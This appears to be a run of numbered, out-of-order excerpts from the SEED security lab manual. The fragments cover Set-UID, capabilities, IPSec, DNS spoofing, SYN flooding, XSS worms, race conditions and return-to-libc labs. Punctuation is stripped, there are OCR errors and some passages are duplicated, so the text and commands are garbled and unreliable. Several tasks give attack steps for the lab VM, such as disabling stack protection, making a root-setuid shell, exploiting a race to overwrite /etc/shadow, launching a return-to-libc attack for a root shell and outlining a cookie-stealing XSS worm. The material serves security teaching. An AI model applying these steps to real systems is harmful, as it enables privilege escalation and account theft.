102. cess is now runnable If we need to randomize the starting address of a variable on stack then we need to introduce some level of randomness in step 4 or 5 Randomizing the gap space figure 1 in a way that it does not effect the execution of a process might be one way to do so 2 2 MALLOC library call malloc is used to allocate memory from the heap It causes the data segment to expand into the lower memory region of the gap area while the stack eats away the top portion malloc invokes the _brkQ call which in turn calls do_brk which causes the data segment to grow do_brk also checks if the data segment is colliding with the stack segment If all the conditions are satisfied the data segment increases by the amount of memory requested adjustments are made so that it lies on a word boundary The address of a heap area requested by malloc can easily be randomized by mallocing a small random sized fragment after execing the process or before mallocing for the first time 3 Lab Task This lab expects the students to randomize the stack and the heap You may use the existent rand or the random functions provided by the C library Consider the following program include lt stdio h gt include lt sys types h gt include lt stdlib h gt include lt alloca h gt int main int argc char xargv int onStack int xonHeap int malloc sizeof int printf Starting Stack at x n Starting Heap at x n amp on
103. ch as Fedora but the descriptions of the lab activities especially the involved commands and configuration may differ Therefore we suggest instructors to use Ubuntu to avoid unnecessary trouble Since some of the SEED labs require quite a lot installations of additional software we have made a pre built virtual machine image of Ubuntu 9 We have tested all our labs on top of this virtual machine Using this pre built operating system students can immediately work on the SEED labs without the need to install any additional software package unless we otherwise specify in the lab descriptions We have written a manual for this pre built Ubuntu virtual machine they are attached in the appendix We are in the process of finding a web server to host this virtual machine image about 3 GB Before that happens anybody who is interested in getting a copy of this image can send an email to wedu syr edu We can either send you a DVD or let you download the image from us 2 Computers SEED labs do not require a dedicated laboratory all SEED labs can be carried out on students personal computers This is made possible by the virtual machine techologies To be able to run Minix and Linux sometimes multiple instances of them conveniently in a general computing environment we use virtual machine softwares Students create virtual computers called guest computers within a physical computer called host computer The host computer can be a gener
104. cludes five basic data elements called users USERS roles ROLES objects OBS operations OPS and permissions PRMS In this lab permissions are just capabilities which are consist of a tuple OPS OBS Core RBAC also includes sessions SESSIONS where each session is a mapping between a user and an activated subset of roles that are assigned to the user Each session is associated with a single user and each user is associated with one or more sessions In this lab we use login session as RBAC session Namely when a user logs into a system e g via login a new session is created All the processes in this login session belong to the same RBAC session 82 Laboratory for Computer Security Education When the user logs out the corresponding RBAC session will end A user can run multiple login sessions simultaneously and thus have multiple RBAC sessions each of which can have a different set of roles In Minix we can create a maximum of 4 login sessions using ALT Fl ALT F2 ALT F3 and ALT F4 Based on these basic RBAC data elements you should implement the following functionalities e Creation and Maintenance of Roles Roles in a sy stem cannot be hard coded administrators should be able to add delete roles To simplify implementation we assume that the role addition and deletion will only take effects after system reboots However you are encouraged not to make this simplifica tion e Creation and Maintena
105. cution Set UID allows us to do many interesting things but unfortunately it is also the culprit of many bad things Therefore the objective of this lab is two fold 1 Appreciate its good side understand why Set UID is needed and how it is implemented 2 Be aware of its bad side understand its potential security problems Lab Tasks This is an exploration lab Your main task is to play with the Set UID mechanism in Linux and write a lab report to describe your discoveries You are required to accomplish the following tasks in Linux 1 20 points Figure out why passwd chsh su and sudo commands need to be Set UID programs What will happen if they are not If you are not familiar with these programs you should first learn what they can do by reading their manuals Please copy these commands to your own directory the copies will not be Set UID programs Run the copied programs and observe what happens 2 20 points Run Set UID shell programs in Linux and describe and explain your observations a Login as root copy bin zsh to tmp and make it a set root uid program with permission 4755 Then login as a normal user and run tmp zsh Will you get root privilege Please describe your observation If you cannot find bin zsh in your operating system please use the following command to install it e Note in our pre built Ubuntu VM image zsh is already installed e For Fedora su Password enter root passw
106. d 192 168 0 0 n 255 255 0 0 HOST2 add outgoing route add_route g 192 168 131 201 d 192 168 0 0 n 255 255 0 0 GW1 add incoming route add_route i g 192 168 131 201 d 192 168 131 0 n 255 255 255 0 m 25 add_route i g 192 168 133 154 d 192 168 133 154 n 255 255 255 255 m 25 GW2 add incoming route t add toute i g 192 168 133 201 d 192 168 133 0 n 255 255 255 0 m 25 t add_route i g 192 168 131 200 d 192 168 131 200 255 255 255 255 m 25 116 SEED Document 3 Verification After the change reboot the machine and use the following commands to check the results pr_routes pr_routes i 2 3 Configure IP address and Netmask Because the routing information in our setup is statically configured we would like each of our machines to stick to the same IP address and Netmask Therefore we cannot use dhcp Instead we manually configure the IP address and Netmask for each machine To do this first use hostaddr e to find out the ethernet address of the network card for each machine and then add the following to etc dhcp conf to set the IP address and Netmask for each machine HOSTI1 set IP 192 168 133 154 and Netmask 255 255 255 0 host 192 168 133 0 24 Client 0 29 6l ec 8c 192 168 133 154 HOST2 set IP 192 168 131 200 Netmask 255 255 255 0 host 192 168 131 0 24 Client 0 29 77 8c 83 192 168 131 200 GWI1 set IP 192 168 133 201 Netmask 255 255 0 0 host 1
107. ddress of the forged packet and the victim s IP address would differ and hence the forged message post would be rejected by the phpBB server despite the fact that the forged message carries the correct cookie information 3 5 Task 5 Writing an XSS Worm In the previous task we have learned how to steal the cookies from the victim and then forge HTTP requests using the stolen cookies In this task we need to write a malicious JavaScript to forge a HTTP request directly from the victim s browser This attack does not require the intervention from the attacker The JavaScript that can achieve this is called a cross site scripting worm For this web application the worm program should do the following 1 Retrieve the session ID of the user using JavaScript 2 Forge a HTTP post request to post a message using the session ID There are two common types of HTTP requests one is HTTP GET request and the other is HTTP POST request These two types of HTTP requests differ in how they send the contents of the request to the server In phpBB the request for posting a message uses HTTP POST request We can use the XMLHttpRequest object to send HTTP GET and POST requests for web applications XMLHttpRequest can only send HTTP requests back to the server instead of other computers because the same origin policy is strongly en forced for XMLHttpRequest This is not an issue for us because we do want to use XMLHttpRequest to send a forged
108. description can have loopholes It is your responsibility to clearify and complete the description If you think that it is necessary to add restrictions to these capabilities to avoid loopholes you should feel free to do that in your report and demonstration you need to justify your decisions 2 2 Managing Capabilities 40 points We should also allow a process to manage its own capabilities For example when a capability is no longer needed in a process we should allow the process to permanently remove this capability Therefore even if the process is compromised attackers will not be able to gain this deleted capability The following six operations are general capability management operations you need to implement them in your capability system 1 Deleting A process can permanently delete a capability 2 Disabling A process can temporarily disable a capability Note that unlike deleting disabling is only temporary the process can later enable it 3 Enabling A process can enable a capability that is temporarily disabled 4 Copying A process can give its own capabilities to its children processes 5 Copy control mechanism The owner of a capability can control whether the receiver can make an other copy or not 6 10 bonus points Revocation The owner of a capability can revoke the capability from all of its children processes 3 Design and Implementation Issues In this lab you need to make a number of design choice
109. difficult The difficulty is mainly caused by the fact that the transaction ID in the DNS response packet must match with that in the query packet Because the transaction ID in the query is usually randomly generated without seeing the query packet it is not easy for the attacker to known the correct ID Obviously the attacker can guess the transaction ID Since the size of the ID is only 16 bits if the attacker can forge K responses within the attack window i e before the legitimate response arrives the probability of success is K over 216 Sending out hundreds of forged responses is not impractical so it will not take too many tries before the attacker can succeed However the above hypothetical attack has overlooked the cache effect In reality if the attacker is not fortunately enough to make a correct guess before the real response packet arrives correct information will be cached by the DNS server for a while This caching effect makes it impossible for the attacker to forge another response regarding the same domain name because the DNS server will not send out another DNS query for this domain name before the cache times out To forge another response on the same domain name the attacker has to wait for another DNS query on this domain name which means he she has to wait for the cache to time out The waiting period can be hours or days To launch effect attacks the attacker must negate the caching effect Dan Kaminsky came up with a
110. discards the SYN queue entry 3 If the server receives a subsequent ACK response from the client server is able to reconstruct the SYN queue entry using the information encoded in the TCP sequence number 2 Lab Tasks 2 1 Task 1 SYN Flooding Attacks You will have to try establishing a legitimate TCP connection once the system is SYN flooded You should describe yoru observation with SYN cookies enabled and disabled 1 SYN cookies disabled Conduct a SYN flooding attack on the Linux System with SYN cookies disabled and describe how the system behaved You can disable SYN cookies using the following command sysctl w net ipv4 tcp_syncookies 0 123 Laboratory for Computer Security Education 2 2 SYN cookies enabled Conduct a SYN flooding attack on the Linux System with SYN cookies enabled and describe how the system behaved You can enable SYN cookies using the following command sysctl w net ipv4 tcp_syncookies 1 The following guidelines may help conduct the attacks This is tested on Fedora Core 4 and 5 1 Netwag tool 76 can be used to SYN flood a system with a specific destination port and IP address 2 Firewall may be enabled on the system by default it has to be disabled using sbin service iptables stop 3 Status of the firewall can be found using sbin service iptables status 4 You can use the following command to check the SYN cookies status sysctl net ipv4 tcp_syncookies 5
111. e a list of commands that utilizes these policies Run each of the commands in your list and check if they produce desired results Some tools that will help you in this process are Wireshark http wireshark org and Ftester http dev inversepath com trac ftester b wm Checking for system stability You should make sure that your firewall does not make your system unstable or cause a system crash You should always be very careful about freeing unused memory Run your firewall long enough and feed it a wide variety of rules so that you are sure that it does not kill your system 5 Submission and Demonstration You should submit a detailed lab report to describe your design and implementation You should also de scribe how you test the functionalities and security of your system You also need to demonstrate your system to us Please sign up a demonstration time slot with the TA Please take the following into consider ation when you prepare for demonstraiton e The total time of the demo will be 15 minutes no more additional time would be given So prepare your demonstration so you can cover the important features e You are entirely responsible for showing the demo We will NOT even touch the keyboard during the demonstration so you should not depend on us to test your system If you fail to demo some important features of your system we will assume that your system does not have those features e You need to practice before you c
112. e access call Once the program has made sure that the real user indeed has the right the program opens the file and writes the user input into the file It appears that the program does not have any problem at the first look However there is a race condi tion vulnerability in this program due to the window the simulated delay between the check access and the use fopen there is a possibility that the file used by access is different from the file used by fopen even though they have the same file name tmp XYZ If a malicious attacker can somehow make tmp XYZ a symbolic link pointing to etc shadow the attacker can cause the user input to be ap pended to etc shadow note that the program runs with the root privilege and can therefore overwrite any file 2 2 Task 1 Exploit the Race Condition Vulnerabilities You need to exploit the race condition vulnerability in the above Set UID program More specifically you need to achieve the followings 1 Overwrite any file that belongs to root 2 Gain root privileges namely you should be able to do anything that root can do 2 3 Task 2 Protection Mechanism A Repeating Getting rid of race conditions is not easy because the check and use pattern is often necessary in programs Instead of removing race conditions we can actually add more race conditions such that to compromise the security of the program attackers need to win all these race conditions If these race conditions
113. e com 101 IN PTR www example com 102 IN PTR mail example com 10 IN PTR ns example com Step 5 Start a DNS server To start a DNS server run the following command sudo etc init d bind9 restart or sudo service bind9 restart 2 2 Configure the User Machine On the user machine 192 168 0 100 we need to let the machine 192 168 0 10 be the default DNS server We achieve this by changing the DNS setting file et c resolv conf of the user machine nameserver 192 168 0 10 the ip of the DNS server you just setup 71 Laboratory for Computer Security Education 4 Note make sure this is the only nameserver entry in your etc resolv conf Also note that in Ubuntu etc resolv conf may be overwritten by the DHCP client To avoid this disable DHCP by doing the following in Ubuntu 9 Click System gt Preferences gt Network Connections Double click the network device e g ethl in Wired Tab Select IPv4 Settings gt Method gt Automatic DHCP Addresses Only and update only DNS Servers entry with IP address of BIND DNS Server Now Click the Network Icon on the top right corner and Select Auto ethO This will refresh the wired network connection and updates the changes You should restart your Ubuntu machine for the modified setting to take effect 2 3 Configure the Attacker Machine On the attacker machine there is not much to configure The attacker needs to run Net wag
114. e configuration should not require a system reboot You might need to implement some commands to achieve this goal When we setup IPSec between A and B but not between A and C A should still be able to commu nicate with both B and C where IPSec is used between A and B while regular IP is used between A and C Moreover your implementation should be backward compatible namely your IPSec enabled Minix should still be able to communicate with other machines that do not support IPSec 110 Laboratory for Computer Security Education 5 2 Transparency Your implementation should be transparent to the upper TCP UDP and application layers especially the application layer Namely applications such as telnet ftp etc should not be affected at all You can use these applications to test your IPSec implementation while turning on sniffers to monitor whether the traffic is encrypted or not 3 Fragmentation You need to think about when to start IPSec within the IP protocol Should it be done before fragmentation or after In your demo you should demonstrate that IP fragmentation still works You need to think about how to demonstrate this You may have to write a program or find a suitable tool to achieve this goal For example you can write a program that constructs a large UDP packet sending this UDP packet will cause fragmentation 4 Impact on existing TCP connection It is possible that in the middle of an existing TCP connection ove
115. e demo We will NOT even touch the keyboard during the demonstration so you should not depend on us to test your system If you fail to demo some important features of your system we will assume that your system does not have those features e You need to practice before you come to the demonstration If the system crashes or anything goes wrong it is your own fault We will not debug your problems nor give you extra time for it e During the demo you should consider yourself as salesmen and you want to sell your system to us You are given 15 minutes to show us how good your system is So think about your sales strategies If you have implemented a great system but fail to show us how good it is you are not likely to get a good grade e Do turn off the messages your system prints out for debugging purposes Those messages should not appear in a demonstration 5 An Important Message I sent the following message to my students after their final demonstration of this project It is a lesson that we should all learn from I was upset by the design and implementation decisions that you guys have made regarding CAP_SETUID and CAP_CHOWN Most of you except 4 people demonstrated to me a flawed system Whe I confronted them about this flaw many said that they knew this problem they just didn t have enough time to fix the problem Let me show you the logic fixing the problem takes only about less than 30 minutes but you guys would rather s
116. e memory in its SYN queue so the SYN information can be stored Then the server generates an ISN Initial Sequence Number and sends an acknowledgment to the client hoping to receive an acknowledgment back from the client to complete the three way handshake protocol The server will hold the allocated memory for a period of time If the expected acknowledge does not come the memory will be freed after timeout In a SYN flooding attack the expected acknowledge never comes instead the attacker fakes a large number of SYN packets Because the server has to allocate memory from its SYN queue for each of these faked SYN packets it can eventually hit exhaust its memory in the SYN queue As results any further SYN packet will be droped due to the lack of memory To resist against SYN flooding attacks a technique called SYN cookies was proposed SYN cookies are used to distinguish an authentic SYN packet from a faked SYN packet When the server sees a possibility of SYN flooding on a port it generates a syn cookie in place of an ISN which is transparent to the client Actually SYN cookies can be defined as particular choices of initial TCP sequence numbers by TCP servers SYN cookies have the following properties 1 They are generated when the SYN queue hits the upper limit The server behaves as if the SYN queue has been enlarged 2 The generated SYN cookie is used in place of the ISN The system sends back SYN ACK response to the client and
117. e passing it to the user space and encrypt a block while copying it from the user space to the cache The changes need to be made in rw_chunk for this approach 2 Decrypt a block while loading the block cache from the disk and encrypt while writing it back The first approach is easier as you already have inode pointing to the block hence its superblock in formation and the key you might have stored in the inode The following snippet from rw_chunk illustrates the read write operations to and from the block cache if rw_flag READING x Copy a chunk from the block buffer to user space x DECRYPT THE BUFFER TO BE COPIED TO USER SPACE r sys_vircopy FS_PROC_NR D phys_bytes bp gt b_datatoff usr seg phys_bytes buff phys_bytes chunk ENCRYPT THE BUFFER IN THE CACHE BACK AFTER COPYING else x Copy a chunk from user space to the block buffer r sys_vircopy usr seg phys_bytes buff FS_PROC_NR D phys_bytes bp gt b_datatoff phys_bytes chunk ENCRYPT THE BUFFER IN THE CACH CI 97 Laboratory for Computer Security Education 6 bp gt b_dirt DIRTY You can use the hints provided in the above code to perform the encryption decryption operations However there might be other issues that need to be taken care of in rw_chunk 5 Suggestions 1 2 10 11 READ the system
118. e root privilege you can get the root shell at this point It should be noted that the exit function is not very necessary for this attack however without this function when system returns the program might crash causing suspitions gcc o exploit_l exploit_l c S exploit_1 create the badfile retlib launch the attack by running the vulnerable program lt You ve got a root shell 2 4 Task 2 Protection in bin bash Now we let bin sh point to bin bash and run the same attack developed in the previous task Can you get a shell Is the shell the root shell What has happened It appears that there is some protection mechanism in bash that makes the attack unsuccessful Actually bash automatically downgrade its priv ilege if it is executed in Set UID root context this way even if you can invoke bash you will not gain the root privilege 20 Laboratory for Computer Security Education 5 su root Password enter root password cd bin rm sh ln s bash sh link bin sh to bin bash exit retlib launch the attack by running the vulnerable program However there are ways to get around this protection scheme Although bin bash has restriction on running Set UID programs it does allow the real root to run shells Therefore if you can turn the current Set UID process into a real root process before invoking bin bash you can bypass that restriction of bash
119. e scale attacks To demonstrate what attackers can do by exploiting XSS vulnerabilities we have set up a web based message board using phpBB We modified the software to introduce an XSS vulnerability in this mes sage board this vulnerability allows users to post any arbitrary message to the board including JavaScript programs Students need to exploit this vulnerability by posting some malicious messages to the message board users who view these malicious messages will become victims The attackers goal is to post forged messages for the victims 2 Lab Environment In this lab we will need three things 1 the Firefox web browser 2 the apache web server and 3 the phpBB message board web application For the browser we need to use the LiveHTTPHeaders exten sion for Firefox to inspect the HTTP requests and responses The pre built Ubuntu VM image provided to you has already installed the Firefox web browser with the required extensions Starting the Apache Server The apache web server is also included in the pre built Ubuntu image However the web server is not started by default You have to first start the web server using one of the following two commands sudo apache2ctl start sudo service apache2 start The phpBB Web Application The phpBB web application is already set up in the pre built Ubuntu VM image We have also created several user accounts in the phpBB server The password information can be obtai
120. e to install zsh for doing the lab For example in Fedora linux systems you may use the following procedure to install zsh su Password enter root password wget ftp rpmfind net linux fedora continue on the next line core 4 i386 os Fedora RPMS zsh 4 2 1 2 1386 rpm rpm ivh zsh 4 2 1 2 i386 rpm The following instructions describe how to link the zsh program to bin sh cd bin rm sh In s bin zsh bin sh Furthermore the GCC compiler implements a security mechanism called Stack Guard to prevent buffer overflows In the presence of this protection buffer overflow will not work You can disable this pro tection when you are comiling the program using the switch fno stack protector For example to compile a program example c with Stack Guard disabled you may use the following command gcc fno stack protector example c Note for Instructors For this lab a lab session is desirable especially if students are not familiar with the tools and the enviornments If an instructor plans to hold a lab session by himself herself or by a TA it is suggested the following to be covered in the lab session 1 The use of the virtual machine software 2 Basic use of gdb debug commands and stack stucture 3 Configuring the lab environment We assume that the instructor has already covered the concepts of the attacks in the lecture so we do not include them in the lab session Laboratory for Computer Securit
121. ed on the effective user id In this task we would like to extend the Set UID concept to roles More specifically with the extension a Set UID program will allow users who run the program to gain the roles of the owner of the program For example if the owner of the Set UID program is U a user who runs this program will run this program using U s roles instead of his her own roles Your extension should be compatible with the origianl Set UID mechanism i e if your implementation is correct all the Set UID programs in the original Minix system should work as usual You should be very careful when dealing with the relationship of the obtained roles and the session If not carefully you might introduce some major flaws into your system through this mechanism because the mechanism allows users to gain additional privileges 2 4 Task 4 Optional Set Role Mechanism 10 bonus points The above Set UID mechanism allows a user to grant all his her privileges to a program such that whoever runs the program will gain those privileges within the scope of the program This is not desirable especially 84 Laboratory for Computer Security Education 5 if the users have too much power A better alternative is to allow the privileged user to grant a subset of his her own provileges to a program instead of all his her privileges In this lab the above goal can be achieved by associating a subset of the user s roles to the program such
122. eering prin ciples for building secure software systems For this type of courses all the vulnerabilities labs can be used to demonstrate how flaws in the design and implementation can lead to security breaches Moreover to give students an opportunity to apply the software engineering principles that they have learned from the class it is better to ask students to build a reasonably sophisticated system from designing implementation to testing Our design implementation labs can be used for this purpose 4 Mapping SEED Labs to Popular Textbooks To further help instructors decide what SEED labs are appropriate for their courses we have studied several textbooks that are popular among the computer security instructors Currently we have mapped our labs to the chapters of four books The books and their editions are described in the following e Introduction to Computer Security by Matt Bishop published by Addison Wesley Professional in October 2004 We refer to this book as Bishop I SEED Document 5 e Computer Security Art and Science by Matt Bishop published by Addison Wesley Professional in December 2002 We refer to this book as Bishop IT e Security in Computing 3rd Edition by Charles P Pfleeger and Shari Lawrence Pfleeger published by Prentice Hall PTR in 2003 We refer this book as Pfleeger e Network Security Private Communication in a Public World 2nd Edition by Charlie Kaufman Radia Perlman and Mike S
123. el exec shield 0 Laboratory for Computer Security Education 2 If you are using a Fedora virtual machine for executing this lab task please disable exec shield before doing so Moreover to further protect against buffer overflow attacks and other attacks that use shell programs many shell programs automatically drop their privileges when invoked Therefore even if you can fool a privileged Set UID program to invoke a shell you might not be able to retain the privileges within the shell This protection scheme is implemented in bin bash In Ubuntu bin sh is actually a symbolic link to bin bash To see the life before such protection scheme was implemented we use another shell program the zsh instead of bin bash The preconfigured Ubuntu virtual machines contains a zsh installation If you are using other linux systems that do not contain zsh by default you have to install zsh for doing the lab For example in Fedora linux systems you may use the following procedure to install zsh su Password enter root password wget ftp rpmfind net linux fedora continue on the next line core 4 i386 os Fedora RPMS zsh 4 2 1 2 1386 rpm rpm ivh zsh 4 2 1 2 i386 rpm The following instructions describe how to link the zsh program to bin sh cd bin rm sh In s bin zsh bin sh Furthermore the GCC compiler implements a security mechanism called Stack Guard to prevent buffer overflows In the presence of this
124. equested web page in the second frame Furthermore navigation html has two JavaScript programs that read the source code and cookies of the web page in the second frame JavaScript programs in navigation html can reference the 143 Laboratory for Computer Security Education 6 DOM object and the cookies of the web page in the second frame using parent main document and parent main document cookie respectively Essentially we have one web page that is accessing the resources of another web page Recall that the SOP restricts JavaScript programs from one origin from accessing resources in another origin We will use this web page in the forthcoming tasks to understand the SOP based access restrictions on cookies and DOM objects 1 Provide the following URLs to the web page in the first frame and report whether you are able to access its cookies and DOM objects from the first frame e www soplab com index html e www soplab com navigation html 2 Try to use some cross domain URL such as www google com in the URL bar of the first web page and report whether you are able to access its cookies and DOM objects 3 The web application www soplab com can be accessed using both http and file protocol in your vir tual machine In the URL bar of the first web page enter file www soplab com navigation html1 and report whether you are able to access the cookies and DOM object in the second frame 4 The web server is listening on two
125. evel of difficulty of this lab A Very easy B Somewhat easy C Average D Somewhat difficult E Very difficult 59 7 y 19 5 Q9 The lab was a valuable part of this course A Strongly disagree B Disagree C Neutral D Agree E Strongly agree 52 6 7 9 39 5 eS me me Oc Oo ge Q1 Level of familiarity with Unix ANo Experience B Know some commands C Application level development experience D Kernel level development experience E None 38 8 Sh 14 9 v 26 9 Q5 Level of interest in the lab A Very lou B Low C Average D High E Very high 47 8 7 Hi 32 8 Q10 As a result of the lab I am more interested in computer security A Strongly disagree B Disagree C Neutral D Agree E Strongly agree 7 5 5 7 Coe Survey Results Set UID Lab Q2 My preparation was sufficient A Strongly disagree B Disagree C Neutral D Agree E Strongly agree 13 4 a 0 6 0 1 5 35 8 Q3 The lab instructions were clear A Strongly disagree B Disagree C Neutral D Agree E Strongly agree Q6 Approximate hours spent on this lab A 0 5 hours B 6 10 hours C 11 20 hours D 21 30 hours E gt 30 hours A Strongly disagree B Disagree C Neutral D Agree E Strongly agree 10 4 26 9 56 7 SA Da 18 28 4 J LV so d 19 4 35 8 Q11 Overall I have attained the learning objectives of the lab A Strongly disagree B Disagree C Neutral D Agree E Strongly agree Q7 The time
126. eway s IP address For example an original packet with dest IP A can be wrapped in a IPSec packet with dest IP G G is a gateway When the packet arrives at G through the host to gateway ESP tunnel G unwraps the IPSec packet retrieves the original packet and routes it to the intended target A e Gateway to Gateway Tunnel in this type of tunnel both src and dest IP addresses are different from the inner IP header Settings of src and dest IP addresses should also be defined in SAs so you should add corresponding fields to the SAs entries used in the previous example The host to gateway and gateway to gateway tunnels are widely used to create Virtual Private Network VPN which brings geographically distributed computers together to form a secure virtual network For example you can have a host X in London which creates a host to gateway ESP tunnel with a headquarter s gateway G located in New York From the security perspective G can consider that X is directly connected to itself and no one can compromise the communication between X and G even though the actual commu nication goes through the untrusted Internet Therefore the headquarter can treat X as a member of its own private network rather than as an outsider In this lab your IPSec implementation should be able to support the host to host host to gateway and gateway to gateway tunnels Moreover you need to to demonstrate how your implementation can be used to construct VPNs
127. f the lack of tool support in Minix We suggest that you copy the entire source code to your host machine Windows or Linux and use code reading tools that are available on those platforms All the source code of Minix can be found under the usr directory We also put a copy of the entire source code on the web page of this lab Browsing source code of Minix is not easy because source code is in a number of directories Sometimes it is quite difficult to find where a function or data structure is defined Without right tools you can always use the generic search tools such as find and grep However many of our past students have suggested a very useful tool called Source Insight which makes it much easier to navigate source code of a complicated system It provides an easy way to trace func tion and data structure definitions as well as other useful features This software can be found at http www sourceinsight com Another choice for browsing source code is to use the online Minix source code at http chiota tamacom com tour kernel minix 3 How Minix Networking Works I Understanding how networking works in Minix is essential for this project Several helpful documentations are available In particular we highly recommend the documentation at http www os forum com minix net which provides a line by line analysis of Philip Homburg s network service for Minix version 2 0 4 the version that we use in this lab is version 3 which i
128. f these bitmaps which is either set or unset struct task_struct kernel_cap_t cap_effective cap_inheritable cap_permitted cap_bset typedef struct kernel_cap_struct u32 cap _KERNEL_CAPABILITY_U32S kernel_cap_t The constant KERNEL_CAPABILITY_U32S indicates how many capabilities the kernel has it would be defined to be 2 if kernel has more than 32 capabilities otherwise 1 The effective capability set indicates what capabilities are effective When a process tries to do a privi leged operation the operating system will check the appropriate bit in the effective set of the process instead of checking whether the effective uid of the process i 0 as is normally done For example when a process tries to set the clock the Linux kernel will check that the process has the CAP_SYS_TIME bit which is currently bit 25 set in its effective set The permitted capability set indicates what capabilities the process can use The process can have capabilities set in the permitted set that are not in the effective set This indicates that the process has temporarily disabled this capability A process is allowed to set a bit in its effective set only if it is available in the permitted set The distinction between effective and permitted makes it possible for a process to disable enable and drop privileges The inheritable capability set indicates what capabilities of the current process should be inherited by the
129. failed n Question c is the above open sucessful why x if cap_drop CAP_DAC_READ_SEARCH lt 0 return 1 if open etc shadow O_RDONLY lt 0 printf d Open failed n Question d is the above open sucessful why x if cap_enable CAP_DAC_READ_SEARCH 0 return 1 if open etc shadow O_RDONLY lt 0 printf e Open failed n Question e is the above open sucessful why x The program can be compiled using the following command note in the second command the second character in lcap is ell not one it means linking the 1ibcap library gcc c use_cap c gcc o use_cap use_cap o lcap After you finish the above task please answer the following questions e Question 4 If we want to dynamically adjust the amount of privileges in ACL based access control what should we do Compared to capabilities which access control is more convenient to do so e Question 5 After a program running as normal user disables a capability A it is compromised by a buffer overflow attack The attacker successfully injectes his malicious code into this program s stack space and starts to run it Can this attacker use the capability A What if the process deleted the capability can the attacker uses the capability 132 Laboratory for Computer Security Education 7 e Question 6 The same as the previous question except replacin
130. fault We will not debug your problems nor give you extra time for it e During the demo you should consider yourself as salesmen and you want to sell your system to us You are given 15 minutes to show us how good your system is So think about your sales strategies If you have implemented a great system but fail to show us how good it is you are not likely to get a good grade e Do turn off the messages your system prints out for debugging purposes Those messages should not appear in a demonstration 104 Laboratory for Computer Security Education 1 Set RandomUID Lab Copyright 2006 2009 Wenliang Du Syracuse University The development of this document is funded by the National Science Foundation s Course Curriculum and Laboratory Improvement CCLI program under Award No 0618680 and 0231122 Permission is granted to copy distribute and or modify this document under the terms of the GNU Free Documentation License Version 1 2 or any later version published by the Free Software Foundation A copy of the license can be found at http www gnu org licenses fdl html Lab Description When we need to run a program that we do not totally trust we really do not want to run the program in our own account because this untrusted program might modify our files It is desirable if the operating system can create a new user id for us and allows us to run the program using this new user id Since the new user id does
131. fer i char buffer 20 long addr OxFFEEDD88 long xptr long buffer i xptr addr References 1 Aleph One Smashing The Stack For Fun And Profit Phrack 49 Volume 7 Issue 49 Available at http www cs wright edu people faculty tkprasad courses cs78 1 alephOne html Laboratory for Computer Security Education 1 Return to libc Attack Lab Copyright 2006 2009 Wenliang Du Syracuse University The development of this document is funded by the National Science Foundation s Course Curriculum and Laboratory Improvement CCLI program under Award No 0618680 and 0231122 Permission is granted to copy distribute and or modify this document under the terms of the GNU Free Documentation License Version 1 2 or any later version published by the Free Software Foundation A copy of the license can be found at http www gnu org licenses fdl html 1 Lab Overview The learning objective of this lab is for students to gain the first hand experience on an interesting variant of buffer overflow attack this attack can bypass an existing protection scheme currently implemented in major Linux operating systems A common way to exploit a buffer overflow vulnerability is to overflow the buffer with a malicious shellcode and then cause the vulnerable program to jump to the shellcode that is stored in the stack To prevent these types of attacks some operating systems for example Fedora allow system administr
132. file in the user s computer the www example com will be resolved as 1 2 3 4 in user s computer without asking any DNS server 1 2 3 4 www example com Attacks If attackers have compromised a user s machine they can modify the HOSTS file to redirect the user to a malicious site whenever the user tries to access www example com Assume that you have already compromised a machine please try this technique to redirect www example com to any IP address that you choose Note etc hosts is ignored by the nslookup command but will take effect on ping command and web browser etc 73 Laboratory for Computer Security Education 6 3 2 Directly Spoof Response to User In this attack the victim s machine has not been compromised so attackers cannot directly change the DNS query process on the victim s machine However if attackers are on the same local area network as the victim they can still achieve a great damage When a user types the name of a web site a host name such as www example com ina web browser the user s computer will issue a DNS request to the DNS server to resolve the IP address of the host name After hearing this DNS request the attackers can spoof a fake DNS response A fake DNS response spoofed by attackers can be accepted by the user s computer if it meets the following criteria l 2 W a Do uv D The source IP address must match the IP address of the DNS server The destination IP address m
133. g the buffer overflow attack with the race condition attack Namely if the attacker exploites the race condition in this program can he use the capability A if the capability is disabled What if the capability is deleted 4 Submission You need to submit a detailed lab report to describe what you have done and what you have observed you also need to provide explanation to the observations that are interesting or surprising In your report you need to answer all the questions listed in this lab 133 134 SEED Document 1 How Linux Capability Works in 2 6 25 1 Overview The UNIX style user privileges come in two varieties regular user and root Regular users power is quite limited while the root users are very powerful If a process needs more power than those of regular users the process is often running with the root privilege Unfortunately most of the time the processes do not actually need all the privileges In other words they have more powerful than what they need This can pose serious risk when a process gets compromised Therefore having only two types of privileges is not sufficient a more granular privilege set is required The POSIX capabilities is exactly designed for this purpose 2 How Linux Capability Works 2 1 Process Capability Each Linux process has four sets of bitmaps called the effective E permitted P inheritable I and bset capabilities Each capability is implemented as a bit in each o
134. g the client side application usr bin mysql The following is a simple demo on how to use mysql mysql u root pseedubuntu mysql gt show databases mysql gt use origin_phpbb_db mysql gt show tables mysql gt select username user_email from phpbb_users mysql gt quit 4 2 The Apache2 Http Server The apache2 http server was installed using apt get install It can be started by issuing the service apache2 start command The apache2 server is configured to listen on both 80 and 8080 ports All the web pages hosted by the server can be located under the var www directory For each SEED lab that uses the apache2 http server we have created one or several URLs Basically in the pre built VM image we use Apache server to host all the web sites used in the lab The name based virtual hosting feature in Apache could be used to host several web sites or URLs on the same machine A configuration file named default in the directory etc apache2 sites available contains the necessary directives for the configuration The following is a list of URLs that we have pre configured their corresponding directories are also listed www csrflabphpbb com var www CSRF CSRFLabPhpbb www csrflabattacker com var www CSRF Attacker www sqllabmysqlphpbb com var www SQL SQLLabMysqlPhpbb www xsslabphpbb com var www XSS XSSLabPhpbb www soplab com var www SOP www soplabattacker com var www SOP attacker
